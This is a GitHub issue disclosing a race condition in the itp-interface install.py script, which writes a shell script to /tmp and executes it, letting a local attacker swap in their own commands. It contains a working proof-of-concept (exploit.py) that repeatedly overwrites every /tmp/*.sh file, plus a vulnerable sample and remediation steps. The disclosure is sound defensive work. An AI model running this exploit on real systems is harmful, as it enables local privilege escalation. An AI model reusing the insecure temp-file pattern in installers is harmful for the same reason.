Skip to content

Race Condition in install.py #40

@rthijssen

Description

@rthijssen

Heya, I'm a security researcher and wanted to let you know that your src/itp_interface/main/install.py script contains an exploitable race condition that can allow an attacker (with access to the machine) to elevate into the account executing the installation script.

The likelihood of exploitation is increased because the script is created in the /tmp directory (during the .elan installation process at src/itp_interface/main/install.py:63-86) which is accessible to all users. The race condition can occur when (at the right time) the content of the .sh file is overwritten between the execution of line 80 and 82.

It looks like this vulnerability was introduced in this commit: a8671c7 (on Feb 8, 2025). Which means that all versions (1.1.0-1.1.7) are vulnerable.

Exploitation

The code below will replace the content of the .sh file when the install_lean_repl function (or the vulnerable example code below) runs with the content of the PAYLOAD variable.

exploit.py:

import glob
import concurrent.futures

# The new content for `/tmp/{random_string}.sh`
PAYLOAD=f"""
echo 'Replaced Content'
whoami
"""

def monitor_and_write():
  while True:
    for file_path in glob.glob('/tmp/*.sh'):
      try:
        with open(file_path, 'w') as file:
          file.write(PAYLOAD)
      except Exception as e:
          print(f"Error writing to {file_path}: {e}")

# Start 100 threats that all try to write to any .sh file located in /tmp
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    for _ in range(100):
        executor.submit(monitor_and_write)

Example vulnerable code:

import os

shell_code = f"""
echo 'Original Content'
"""

random_string = os.urandom(8).hex()

with open(f"/tmp/{random_string}.sh", "w") as f:
    f.write(shell_code)
os.system(f"chmod +x /tmp/{random_string}.sh")
print("Running the script")
os.system(f"bash /tmp/{random_string}.sh")
print("Removing the script")
os.system(f"rm /tmp/{random_string}.sh")

print("Done")

Steps to reproduce

  1. Run exploit.py
  2. Run the itp-interface install script, or example vulnerable code snippet
  3. Due to the nature of race conditions the exploit might not be successful on every run. You might have to repeat step 1 & 2 a few times to see the original content being replaced with the payload.

Remediation

There are a few remediation strategies:

  1. Don't create dynamic .sh files during an installation process
  2. Use file locking strategies
  3. Restrict file access by writing the file to a directory not accessible to other users

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions